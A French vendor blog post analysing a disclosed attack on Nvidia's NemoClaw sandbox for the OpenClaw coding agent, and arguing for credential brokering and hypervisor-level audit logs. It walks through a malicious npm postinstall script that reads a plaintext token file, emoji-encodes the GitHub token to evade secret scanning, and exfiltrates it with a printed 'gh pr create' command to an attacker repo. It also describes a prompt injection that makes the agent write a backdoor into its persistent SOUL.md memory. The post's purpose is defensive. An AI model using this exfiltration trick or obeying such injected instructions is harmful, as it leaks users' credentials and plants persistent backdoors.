Retour à tous les articles
Publié le · par Renaud Deraison

Le sandbox qui détenait la clé

Le 18 mai 2026, Lasso Security a divulgué deux attaques contre NemoClaw de Nvidia — le sandbox qui fait tourner l'agent de codage autonome OpenClaw. Le sandbox fonctionnait exactement comme Nvidia l'avait annoncé. L'agent à l'intérieur du sandbox a quand même poussé le token GitHub de l'utilisateur vers une pull request contrôlée par l'attaquant, encodé en emojis pour échapper au scanner statique de secrets de GitHub. La question intéressante n'est pas de savoir si le sandbox est cassé. C'est de savoir si un sandbox contenant un fichier de credentials en clair en son sein a jamais été un sandbox au sens architecturalement utile, et ce que la réponse implique pour quiconque livre un agent de codage en 2026.

Deux choses peuvent être simultanément vraies. La première, c'est que le sandbox NemoClaw de Nvidia, qui enveloppe l'agent de codage autonome OpenClaw dans un cluster K3s à l'intérieur d'un conteneur Docker privilégié, fonctionnait exactement comme Nvidia l'avait documenté. La seconde, c'est que, le 18 mai, Lasso Security a publié un writeup dans lequel un script postinstall npm malveillant — tournant à l'intérieur de ce sandbox, ne faisant que des choses que le sandbox était configuré pour permettre — a lu le token GitHub de l'utilisateur dans un fichier de config en clair, l'a encodé en emojis pour défaire le scanner de secrets de GitHub, et a poussé le résultat vers une pull request contrôlée par l'attaquant via le binaire gh même que la politique d'egress avait eu la gentillesse de mettre en liste blanche. Nvidia a répondu que cela tombait hors du périmètre du bug bounty, au motif que le sandbox s'est comporté exactement comme il était configuré pour le faire. C'est, d'une manière que la plupart des gens du métier de la sécurité trouveront familière, à la fois correct et à côté de la question.

Voici l'histoire en trois phrases. Le 18 mai 2026, Lasso Security a publié une chaîne d'attaque contre NemoClaw, le sandbox de Nvidia pour faire tourner OpenClaw — un agent de codage autonome qui, comme Claude Code ou l'agent de Cursor ou Codex CLI, est autorisé à exécuter npm install, gh pr create et git push pour le compte de l'utilisateur. La chaîne a deux moitiés : une moitié d'exfiltration de credentials, dans laquelle un package malveillant a lu /sandbox/.openclaw/openclaw.json (un fichier en clair contenant le token GitHub de l'utilisateur aux côtés de clés pour les services Anthropic, OpenAI, Gemini et Nvidia), a réécrit le token comme une séquence d'emojis en utilisant une table de correspondance construite à l'exécution, et a poussé la charge utile encodée vers une PR publique à travers le binaire gh en liste blanche ; et une moitié de persistance, dans laquelle une injection de prompt plantée dans un fichier source de routine a induit l'agent à réécrire son propre SOUL.md — le fichier de mémoire comportementale d'OpenClaw — avec une backdoor qui survit à chaque session suivante. BDTechTalks a couvert la divulgation le même jour ; la réponse de Nvidia, citée dans les deux writeups, était que le sandbox s'est comporté exactement comme il était configuré pour le faire et que les scénarios tombent hors du périmètre du programme.

La réponse de Nvidia est, dans un sens technique étroit, vraie. Le sandbox est un sandbox. Le pod K3s est un pod K3s. La politique d'egress, qui permet à gh de parler à github.com, est une politique qui permet à gh de parler à github.com. Rien n'a échappé à ses bornes de capacités. Rien n'a escaladé. Le conteneur n'a pas été cassé. Du point de vue du runtime, chaque octet qui est sorti l'a fait via un binaire que l'utilisateur avait accepté de laisser sortir, vers une destination que l'utilisateur avait accepté qu'il atteigne.

C'est juste que l'octet qui est sorti était le token GitHub de l'utilisateur, épelé avec des têtes de dessins animés.

La partie ennuyeuse de la chaîne.

Parcourons la moitié credentials lentement, parce que la mécanique est tout l'argument. L'agent reçoit une tâche — quelque chose de peu remarquable, « configure ce nouveau projet à partir d'un README GitHub » — et le README contient, quelque part dans ses instructions, une étape qui revient à npm install some-helpful-package. Le package est malveillant, mais de la même manière discrète dont une centaine de packages npm par semaine sont maintenant malveillants : c'est un typosquat ou une dépendance transitive d'un package récemment compromis, et il livre un script postinstall. Le script postinstall fait trois choses qui sont individuellement permises et collectivement catastrophiques.

Il lit /sandbox/.openclaw/openclaw.json. Ce fichier est sur le système de fichiers du sandbox ; le script tourne à l'intérieur du sandbox ; personne n'a dit au système de fichiers de ne pas être lisible, parce que comment l'agent lui-même utiliserait-il le token GitHub s'il ne pouvait pas lire le fichier où le token GitHub réside ? Il extrait la valeur ghp_….

Il charge un emoji_map.json livré à l'intérieur du package malveillant, qui mappe chaque caractère alphanumérique à un emoji — un fichier JSON parfaitement ordinaire, complètement inoffensif au scan statique, le genre de chose qu'un formateur markdown ou un client de chat pourrait légitimement livrer. Le script parcourt le token caractère par caractère et produit une chaîne comme 🍕🍔🌮🍟…, un emoji par caractère.

Il exécute gh pr create contre un repository contrôlé par l'attaquant avec la chaîne d'emojis comme corps de PR. Du point de vue de la politique d'egress, c'est gh qui parle à github.com, ce qui est la seule chose en liste blanche que gh est autorisé à faire. La PR est créée. Du côté de l'attaquant, un script lit le corps de la PR, inverse la table, et reconstruit ghp_…. Le scanner de secrets de GitHub voit le corps de la PR aussi, mais le scanner de secrets de GitHub cherche ghp_[A-Za-z0-9]{36}, pas 🍕🍔🌮🍟.

La chercheuse de Lasso Noy Pearl, citée dans la divulgation, l'a exprimé clairement : « L'encodage en emojis était la technique que nous avons choisie pour contourner les scans statiques de GitHub » et « tant que l'agent a une connexion au monde extérieur, aucun mécanisme statique ne peut vous protéger entièrement. » C'est la partie où vous hochez la tête et dites oui, évidemment, vous ne pouvez pas mettre en liste blanche un protocole capable de transporter des octets arbitraires et puis être surpris quand des octets arbitraires y passent. Une liste blanche L7 qui permet gh est une liste blanche L7 qui permet n'importe quoi que vous pouvez sérialiser dans un corps de PR, ce qui est n'importe quoi.

SANDBOX NEMOCLAW — pod K3s dans un conteneur Docker privilégié, liste blanche egress pour gh → github.comAGENT OPENCLAW> configurer le projet depuis README.mdtool: bashnpm i helpful-pkg↳ postinstall tourne dans le sandboxFICHIER DE CREDENTIALS/sandbox/.openclaw/ openclaw.json "github": "ghp_real_…" "anthropic": "sk-ant…" "openai": "sk-…" "nvidia": "…"EMOJI_MAP.JSON (livré par le package)"g": 🍕, "h": 🍔, "p": 🌮"_": 🍟, "r": 🥗, "e": 🍣"a": 🍩, "l": 🍪, …scanners statiques: « c'est un fichier JSON »postinstall: parcourir le token, émettre des emojisghp_real_xxx → 🍕🍔🌮🍟🥗🍣🍩🍪…EGRESS — gh est en liste blanche pour github.com, donc ceci est permis$ gh pr create --repo attacker-handle/totally-normal-repo --title "fix: typo in readme" --body "🍕🍔🌮🍟🥗🍣🍩🍪…"politique egress: gh → github.com ✓scanner secrets github: la regex rate 🍕filtre L7 sandbox: ce n'est qu'une PRPR ouverte. Le corps est public.ATTAQUANT — hors du sandbox, lit les PR publiqueswebhook: PR ouvertelire le corps, inverser emoji_map🍕🍔🌮🍟🥗🍣🍩🍪… → ghp_real_…token récupéré ; le sandbox n'a jamais casséChaque flèche dans cette image est « permise » par la configuration du sandbox. La leçon est structurelle, pas configurationnelle.
La chaîne d'exfiltration de Lasso, de haut en bas. L'agent exécute npm install. Un script postinstall à l'intérieur du sandbox lit /sandbox/.openclaw/openclaw.json — un fichier que le sandbox y a mis pour que l'agent lui-même puisse s'authentifier à GitHub — extrait le token ghp_, cherche chaque caractère dans un emoji_map.json que le package malveillant a livré (JSON d'apparence inoffensive, passe tout scan statique), et émet une chaîne d'emojis. Il invoque ensuite gh — que la politique d'egress L7 du sandbox met en liste blanche pour github.com — pour créer une pull request dont le corps est la chaîne d'emojis. Le scanner de secrets de GitHub voit la PR ; il cherche ghp_[A-Za-z0-9]{36}, pas de la nourriture en dessin animé. Du côté de l'attaquant, un webhook lit le corps de la PR et inverse la table. Le token est maintenant public. Le sandbox a fait exactement ce qu'il avait dit qu'il ferait.

La moitié persistance — SOUL.md — est mécaniquement différente mais philosophiquement la même. OpenClaw, selon le writeup de Lasso, conserve un fichier de mémoire comportementale appelé SOUL.md que l'agent lit au début de chaque session : règles, instructions système, contexte accumulé sur les préférences de l'utilisateur. L'agent peut aussi écrire ce fichier, parce que toute la prémisse de la mémoire à long terme est que l'agent devrait pouvoir mettre à jour ses propres croyances. Une injection de prompt plantée dans un fichier source d'apparence parfaitement normale que l'agent traite pendant une tâche de routine — l'exemple de Lasso est un fichier texte qui contient juste des instructions formulées de la manière dont les données d'entraînement sont formulées — amène l'agent à ajouter une règle backdoor à SOUL.md. Les sessions suivantes chargent SOUL.md. La backdoor est maintenant, dans la propre description de l'agent sur lui-même, les préférences de l'agent. La formulation de Pearl sur la défense « s'est comporté comme configuré » de Nvidia est la plus tranchante : « "Le sandbox s'est comporté comme configuré" est un bon argument quand la chose qui tourne dedans est un programme déterministe. Il ne survit pas au contact d'agents pilotés par LLM, dont le comportement est façonné à l'exécution par chaque morceau de texte qu'ils ingèrent. »

Un token dans un fichier est un token dans un fichier.

La phrase architecturale que je veux écrire ici, avant d'en arriver à ce que Bromure fait à propos de tout cela, est celle-ci : un secret à longue durée de vie qui vit en tant que fichier en clair à l'intérieur du même rayon d'explosion que le code que l'agent exécute est, du point de vue de tout adversaire capable d'exécuter du code dans ce rayon d'explosion, équivalent à un secret public. Le sandbox ne change rien à cela. Le pod K3s ne change rien à cela. La liste blanche egress ne change rien à cela, parce que la liste blanche egress est autorisée à parler à GitHub, et parler à GitHub — par conception, par intention de l'utilisateur, par toute la raison d'être de l'agent — est le même canal que le package malveillant utilisera.

Il existe un fix bien compris pour cela, et il précède les agents IA de plusieurs décennies, et l'industrie de la sécurité l'utilise discrètement depuis les années 1990. Le fix consiste à mettre le secret de l'autre côté d'une frontière de processus et à courtier son usage, jamais sa valeur.

L'exemple canonique, c'est ssh-agent. Votre clé privée SSH vit dans une région mémoire détenue par le processus ssh-agent. Quand ssh a besoin de s'authentifier, il ne dit pas « donne-moi la clé » ; il envoie les octets du challenge sur un Unix domain socket et récupère une signature. La clé ne traverse jamais le socket. Un binaire malveillant tournant sous le même utilisateur peut demander à ssh-agent de signer des choses, bien sûr — c'est tout l'intérêt de l'agent — mais il ne peut pas lire la clé, ne peut pas la copier, ne peut pas l'exfiltrer, ne peut pas l'envoyer chez lui par mail. Quand la session se termine, la clé meurt avec le processus. WebAuthn fait structurellement la même chose pour les navigateurs : la clé privée vit dans le TPM ou la Secure Enclave, la page demande au navigateur de signer un challenge, la page ne voit jamais la clé. La migration de l'industrie sur une décennie loin des mots-de-passe-dans-localStorage est, quand on plisse les yeux, la même migration que NemoClaw doit faire. Juste un étage plus haut.

Et ça marche pour GitHub aussi. La CLI gh livre un credential helper qui, sur macOS, peut stocker le token dans le Keychain plutôt que dans un fichier de config en clair. Plus utilement pour le cas du sandbox, les GitHub Apps émettent des installation tokens qui sont à courte durée de vie (typiquement une heure), scopés à des repositories spécifiques, et révocables ; un proxy de signature tournant hors du sandbox peut en frapper un à la demande, l'attacher à une requête que l'agent a générée, et forwarder le résultat. Le sandbox voit une réponse HTTP générique. Le sandbox ne voit pas le token. Un script postinstall malveillant demandant à lire le token depuis l'endpoint courtisé récupère, au mieux, un token d'une heure scopé à un repo — assez pour faire ce que l'agent faisait effectivement pour le compte de l'utilisateur, pas assez pour valoir la peine d'être exfiltré.

SANDBOX (VM Bromure par profil) — ce que le script postinstall malveillant peut voirAGENT DE CODAGE$ gh pr create … → /var/run/cred.sockpas de token dans l'env,pas de token sur disqueSYSTÈME DE FICHIERS & ENV — pas de credential en clair/sandbox/.openclaw/openclaw.jsonFichier inexistant$GH_TOKENnon défini$GITHUB_TOKENnon défini/var/run/cred.sockUnix socket → courtier hôtePOSTINSTALLcat openclaw.json ENOENTenv | grep TOKEN (vide)FRONTIÈRE PROCESSUS / VM — RPC seulement, la valeur ne traverse jamaisHÔTE — le courtier de credentials détient la vraie cléVRAI COFFRE DE CREDENTIALSKeychain macOS / ssh-agentid_ed25519 (privée)credential helper ghghp_real_…clé privée GitHub App→ frappe tokens 1h scopésMême schéma que ssh-agent (1995).Même schéma que WebAuthn (2018).PROXY DE SIGNATURE — utilise la clé, ne l'expose jamaislisten /var/run/cred.sock RPC: « signe ce git push pour le repo X » frapper installation token, scope=X, ttl=1h attacher header Authorization à l'egress forwarder HTTPS, retourner la réponseRPC « donne-moi le token » → non implémentéRPC : pousse pour moi s'il te plaît
Ce que le courtage de credentials fait à la même chaîne. L'openclaw.json en clair n'est plus là ; à sa place se trouve un courtier de credentials tournant hors du sandbox, sur l'hôte. Quand l'agent à l'intérieur du sandbox a besoin de pousser un commit, il parle à un proxy côté hôte sur un Unix domain socket. Le proxy détient le vrai credential GitHub à longue durée (ou une GitHub App qui frappe des installation tokens à courte durée à la demande). Le proxy attache le credential à la requête sortante, la forward, et retourne la réponse au sandbox. Le token n'entre jamais dans la mémoire ou le système de fichiers du sandbox. Un script postinstall malveillant lisant le système de fichiers du sandbox ne trouve aucun token à encoder. Un script postinstall malveillant demandant au courtier de signer quelque chose obtient, au plus, un token d'une heure à portée limitée lié au repo pour lequel l'agent était déjà autorisé — la même posture que ssh-agent donne aux utilisateurs Unix depuis les années 1990, juste appliquée à GitHub.

Le schéma a un nom dans chaque domaine qui l'utilise — ssh-agent, WebAuthn, signature adossée à un HSM, credential helper de gh, AWS IAM Roles Anywhere — et la propriété sous-jacente est toujours la même : le consommateur du credential est un processus différent du détenteur du credential, et ils communiquent sur un canal plus étroit que « lis les octets ». C'est la différence entre « l'agent peut s'authentifier à GitHub » et « l'agent peut lire le token GitHub ». Un sandbox qui se trompe sur ce point est un sandbox qui a mis la clé de la porte d'entrée du même côté de la porte que les gens qui vous inquiétaient.

C'est, sans ambiguïté, ce que fait Bromure pour la VM par profil qui fait tourner votre agent de codage. L'agent à l'intérieur de la VM s'authentifie à GitHub en parlant à un courtier de credentials sur l'hôte macOS sur un Unix domain socket forwardé ; le token GitHub (ou, mieux, la clé privée GitHub App qui frappe des tokens scopés à courte durée) vit du côté hôte de l'hyperviseur, dans le Keychain macOS, où la VM ne peut pas le voir. L'agent ne lit jamais la valeur du secret, il ne l'utilise qu'à travers le proxy. Un script postinstall qui exécute cat /sandbox/.openclaw/openclaw.json ne trouve rien ; un qui exécute env | grep TOKEN ne trouve rien ; un qui demande au courtier « donne-moi le token s'il te plaît » découvre que le vocabulaire RPC du courtier n'inclut pas ce verbe. La même posture, appliquée à l'agent GitHub de la même manière qu'elle l'a été à SSH depuis trente ans.

Une suggestion polie n'est pas un périmètre.

Le truc de l'emoji de Lasso est, dans un sens profond, un commentaire sur les listes blanches. La politique d'egress permettait à gh de parler à github.com. L'hypothèse implicite était que les choses que gh ferait à github.com seraient des choses qu'un développeur raisonnable voudrait faire — cloner, pousser, ouvrir des PR, commenter des issues. Mais gh pr create --body "$ANYTHING" est, par construction, une primitive qui transporte des octets arbitraires vers une destination lisible publiquement. Vous ne pouvez pas mettre en liste blanche cette primitive et empêcher en même temps des octets arbitraires d'y passer. La liste blanche fait ce qu'elle a dit. Elle ne fait juste pas ce que vous pensiez qu'elle disait.

C'est la partie du writeup de Lasso qui devrait faire s'asseoir quiconque fait tourner un agent en production. Une liste blanche L7 qui permet un protocole capable de transporter des octets arbitraires n'est pas un périmètre. C'est une suggestion polie pour que les octets à l'intérieur du protocole soient les octets que vous aviez en tête. Que les octets soient dans un corps de PR, dans un message de commit, dans un commentaire d'issue, dans un blob git-LFS, dans les métadonnées d'un tarball uploadé comme asset de release — le protocole est la fuite. Il n'existe pas de filtre statique qui « comprend » la différence entre une PR légitimement riche en emojis (« notre équipe utilise 🍰 pour signifier release ») et un token GitHub encodé en emojis, parce que la différence est sémantique et le filtre est syntaxique.

Alors qu'est-ce qui détecterait cela ? La réponse honnête, c'est qu'aucun truc unique ne le fait ; la structure qui le fait est une combinaison, et chaque pièce est sans intérêt par elle-même.

La première pièce, ce sont les budgets d'octets d'egress par session. Une session dont le brief est « corriger une typo dans README.md » ne devrait pas pousser 14 kilo-octets de blob binaire vers un corps de PR, jamais, pour quelque raison que ce soit. Vous n'avez pas besoin de savoir ce que sont les octets ; vous avez besoin de savoir ce que la session était censée livrer. La discordance de forme entre brief et egress est calculable, mais seulement si quelque chose en dehors de l'agent garde trace du brief et de l'egress au même endroit. L'auto-rapport de l'agent ne fera pas l'affaire ; l'agent est la chose sous suspicion.

La deuxième, c'est la détection d'anomalie de forme de contenu sur les opérations git sortantes. Une PR dont le corps est à 95 % d'emojis, ou à 95 % de base64, ou à 95 % d'hex, dans un repository dont l'historique contient zéro PR de ce genre, est un drapeau. Ce n'est pas une preuve ; c'est un drapeau. Le bon endroit pour calculer ce drapeau est le proxy egress, qui voit la requête sortante avant qu'elle ne quitte l'hôte. Le proxy au niveau hyperviseur de Bromure est l'endroit qui peut le calculer sans faire confiance à l'invité, parce que l'invité est exactement la chose sous suspicion.

La troisième, ce sont les diffs de fin de session entre ce qui est sorti de la boîte et ce que la session était censée produire. À la fin d'une session, la VM a produit un ensemble de requêtes HTTP sortantes, un ensemble d'écritures de fichiers dans le projet monté, un ensemble de commits git. Si le brief de la session était « corriger une typo », et que les requêtes sortantes incluent POST /repos/attacker-handle/random-repo/pulls, c'est un diff qu'on peut montrer à un humain en deux lignes. Pas nécessairement bloqué — parfois les agents ont vraiment besoin de faire des choses surprenantes — mais montré. Le défaut actuel en 2026, à travers la plupart des produits d'agent de codage, est « trust me bro, it worked », et l'utilisateur n'a aucun artefact à inspecter même s'il le voulait.

Le pipeline d'audit est l'artefact.

C'est la partie où il vaut la peine de dire à voix haute ce que Bromure Enterprise livre vraiment, parce que l'alternative — se fier aux propres logs de l'agent — est ce qui a mis NemoClaw dans cette position au départ. Les logs de l'agent sont écrits par l'agent. Si l'agent a été instruit par un SOUL.md empoisonné de mentir sur ce qu'il a fait, les logs de l'agent mentiront sur ce qu'il a fait. Il y a exactement un endroit qui peut produire un enregistrement véridique de ce qu'un agent a fait, et c'est la couche en dessous de l'agent.

Bromure Enterprise enregistre, du côté hôte de l'hyperviseur, « la session complète — appels d'outils, commandes shell, éditions de fichiers, codes de sortie » en JSON Lines. Le tracing est activé par défaut ; les ingénieurs n'ont pas à opter-in ; l'agent à l'intérieur de la VM est un Claude Code, un Codex ou un Cursor non modifié. Le flux est « capturé hors de la VM dans un flux JSON Lines résistant à la falsification et livré au sink de logs que vous alimentez déjà (SIEM, data lake, archive de rétention). » Une dépendance compromise à l'intérieur de la VM ne peut pas le nettoyer, parce que les écritures se font de l'autre côté de la frontière de l'hyperviseur que la dépendance ne peut pas franchir.

Les conséquences intéressantes :

  • « Cette session a-t-elle poussé vers un repo qui n'était pas le repo de l'utilisateur » est un grep. Pas un grep métaphorique. Un littéral grep contre les JSON Lines d'hier.
  • « Cette session a-t-elle ouvert une PR avec un corps qui ne ressemble pas à de la prose » est une regex contre la payload d'appel d'outil capturée.
  • « Est-ce que quelque chose a modifié SOUL.md » est une requête sur les événements d'édition de fichier. Si un script postinstall a réécrit le fichier d'identité de l'agent, ce fait vit dans la trace que l'agent lui-même l'ait jamais mentionné ou non.
  • Replay. Les traces s'attachent à une pull request. Le reviewer lit le diff et la séquence de prompts, d'appels d'outils et de commandes shell qui ont produit le diff. Ou, dans le langage de la page produit de Bromure : « rejouez le jour où le modèle a décidé de supprimer le dossier migrations ». Le replay forensique est la partie de cette histoire qui n'existe nulle part ailleurs, parce qu'il nécessite d'avoir capturé les entrées et les sorties et les réponses du modèle dans le même flux — ce que l'agent lui-même ne peut produire sans d'abord qu'on lui fasse confiance pour ne pas mentir.

Rien de tout cela n'attrape un attaquant déterminé qui modèle l'exfil pour qu'elle ressemble à de la prose ; il n'y a pas de périmètre contre un adversaire prêt à dépenser des octets en déguisement. Ce que cela attrape, c'est tous les attaquants qui ne l'ont pas fait, ce qui est la majorité d'entre eux, et cela produit l'enregistrement forensique qui transforme le prochain incident de « nous n'avons aucune idée de ce que l'agent a fait » en « nous avons la ligne 14 332 de la trace de session d'hier ». Le défaut 2026 de « l'agent a dit que ça a marché » est l'équivalent de faire tourner de la prod sur un serveur sans logs.

Et l'injection de prompt à l'intérieur de la session ?

Il vaut la peine d'être clair sur ce que l'isolation par VM ne règle pas, parce que les gens les plus susceptibles de lire ce post sont les mêmes gens les plus susceptibles de se faire dire, par quelqu'un qui vend le produit opposé, que les VM sont une panacée. Elles ne le sont pas.

La backdoor SOUL.md — et toute injection de prompt qui prend effet pendant une session — tourne à l'intérieur de la VM, avec quelque soit le scope que l'utilisateur a accordé à l'agent. Si l'utilisateur a dit à l'agent « crée une PR dans ce repo », l'injection de prompt peut créer une PR dans ce repo. Si l'agent a un accès en écriture au dossier du projet, l'injection de prompt peut écrire une backdoor dans le dossier du projet. La VM ne review pas le diff. Ce que la VM fait, c'est garder le diff et sa provenance à un endroit où quelqu'un peut le review plus tard, ce qui s'avère être la partie qui manquait.

Ce que l'isolation par VM plus le courtage de credentials règlent, c'est la partie catastrophique — la partie où un seul mauvais postinstall repart avec un token GitHub permanent, un token npm permanent, vos credentials AWS, et root sur le laptop du développeur. Aucun de ces credentials ne vit à l'intérieur de la VM ; les credentials vivent dans le Keychain de l'hôte et ne sont atteignables qu'à travers un proxy dont le vocabulaire RPC n'inclut pas « donne-moi les octets ». Un token que l'agent peut utiliser à travers un proxy est un token que l'agent ne peut pas exfiltrer, parce que l'exfiltration nécessite d'avoir les octets à envoyer.

La capacité résiduelle de l'attaquant à l'intérieur d'un équivalent OpenClaw hébergé chez Bromure — ce qu'il peut faire une fois qu'il a injecté un prompt dans l'agent — c'est de faire faire à l'agent, dans le scope autorisé de la session, quelque chose que l'utilisateur n'avait pas l'intention. Ouvrir une PR avec un titre étrange. Réécrire SOUL.md dans le projet. Ajouter un postinstall à lui. Tous ces événements sont observables : chaque édition de fichier atterrit dans le flux d'audit JSON Lines, chaque requête sortante atterrit dans le proxy egress, chaque prompt et appel d'outil est enregistré hors de l'agent. On ne demande pas à la VM d'empêcher l'agent injecté par un prompt de causer du dommage en-scope — on lui demande de rendre ce dommage visible et borné à la session, pour que l'hôte reste propre et que l'utilisateur ait une trace à lire. La persistance à l'intérieur de la VM est toujours possible ; la persistance à l'intérieur de la VM que personne ne peut voir ne l'est pas, ce qui est une distinction significative.

Couplé au courtage de credentials, le pire cas pour l'attaque sur un agent hébergé chez Bromure ressemble à ceci : l'agent livre une mauvaise PR, dans le repo pour lequel il était déjà autorisé, en utilisant un installation token à courte durée, et chaque étape apparaît dans un log résistant à la falsification sur l'hôte. Ce n'est pas zéro dommage. C'est très loin de « l'attaquant a mon token GitHub permanent, exfiltré en emoji, plus une backdoor persistante dans le fichier comportemental de l'agent, plus aucun enregistrement que quoi que ce soit de tout cela s'est passé ».

Ce qui est réellement structurel ici.

Si vous lisez le writeup de Lasso et la réponse de Nvidia en séquence, le désaccord ne porte pas vraiment sur la question de savoir si NemoClaw a un bug digne d'un CVE. Nvidia a raison que le sandbox a fait ce pour quoi il était configuré. Lasso a raison que ce pour quoi il était configuré est insuffisant. Le désaccord porte sur l'endroit où appartient la frontière de confiance.

Nvidia, dans la réponse que Pearl cite, trace la frontière à « la politique configurée ». À l'intérieur de la politique, tout est permis ; à l'extérieur de la politique, le client se débrouille seul. C'est une position normale de responsabilité partagée pour un fournisseur d'infrastructure. Ce n'est cependant pas une défense contre le mode de défaillance que Lasso a démontré, parce que le mode de défaillance est à l'intérieur de la politique. La politique permet gh. gh peut transporter le token. La politique est auto-cohérente et inadéquate en même temps.

L'alternative structurelle — la position pour laquelle les posts sur le codage agentique de ce blog plaident dans des termes différents depuis six mois — est de tracer la frontière au credential et à l'observation, pas au binaire et à la destination. Le courtage dit que le credential n'entre jamais dans le sandbox. Le pipeline d'audit au niveau hyperviseur dit que quoi que l'agent fasse à l'intérieur du sandbox est capturé par quelque chose dans quoi l'agent ne peut pas écrire et qu'il ne peut pas éteindre. Ensemble, ils font un sandbox où le pire qu'un postinstall malveillant peut faire est le pire que l'agent était autorisé à faire, sur le repo qu'il touchait déjà, avec des credentials qu'il ne peut pas exfiltrer parce qu'il ne les a jamais eus, et avec chaque frappe d'évidence assise dans votre SIEM.

Les gens de Nvidia n'ont pas tort. L'architecture d'OpenClaw est l'architecture de chaque agent de codage livré cette année, et cela inclut les agents de codage qui ne tournent pas à l'intérieur d'un sandbox du tout. Ce que Lasso a trouvé dans NemoClaw est, structurellement, ce que Wiz et Snyk et Socket trouvent un mardi sur deux dans Cursor et Windsurf et le mode YOLO de GitHub Copilot. La classe de problème, c'est « des credentials en clair à longue durée de vie accessibles à tout ce que l'agent exécute, sans aucun enregistrement de ce que l'agent en a fait », et la classe de fix, c'est « courtisez le credential, observez la session, gardez les reçus ».

Une dernière chose.

Il y a une version de ce post où la leçon est « ne faites pas confiance aux sandboxes ». Cette version est fausse. Les sandboxes, c'est super. Il y a une version où la leçon est « les agents IA sont trop dangereux à déployer ». Cette version est, en pratique, hors de propos — ils sont déployés, la question est comment. La version qui tient debout est celle où le sandbox cesse de se voir demander de faire un travail que le sandbox, par construction, ne peut pas faire.

Un sandbox ne peut pas cacher un credential à un processus qui tourne dedans. Un sandbox ne peut pas faire la différence entre un corps de PR en emojis et un token encodé en emojis. Un sandbox ne peut pas transformer un long protocole en liste blanche en un court. Ce qu'un sandbox peut faire, c'est garder les credentials ailleurs, garder l'agent à un endroit où l'hyperviseur voit chacun de ses mouvements, et écrire cet enregistrement vers un sink que l'agent ne peut pas atteindre. C'est la configuration où le même package npm malveillant, dans le même genre de script postinstall, trouve un système de fichiers vide, un socket de credentials dont le seul verbe est « signe cette chose pour moi, brièvement », et un hyperviseur de l'autre côté du mur qui a noté toute la conversation.

Bromure Agentic Coding est la configuration où c'est le défaut. C'est gratuit, open-source, et livré aujourd'hui. Le prochain emoji est déjà en cours d'upload.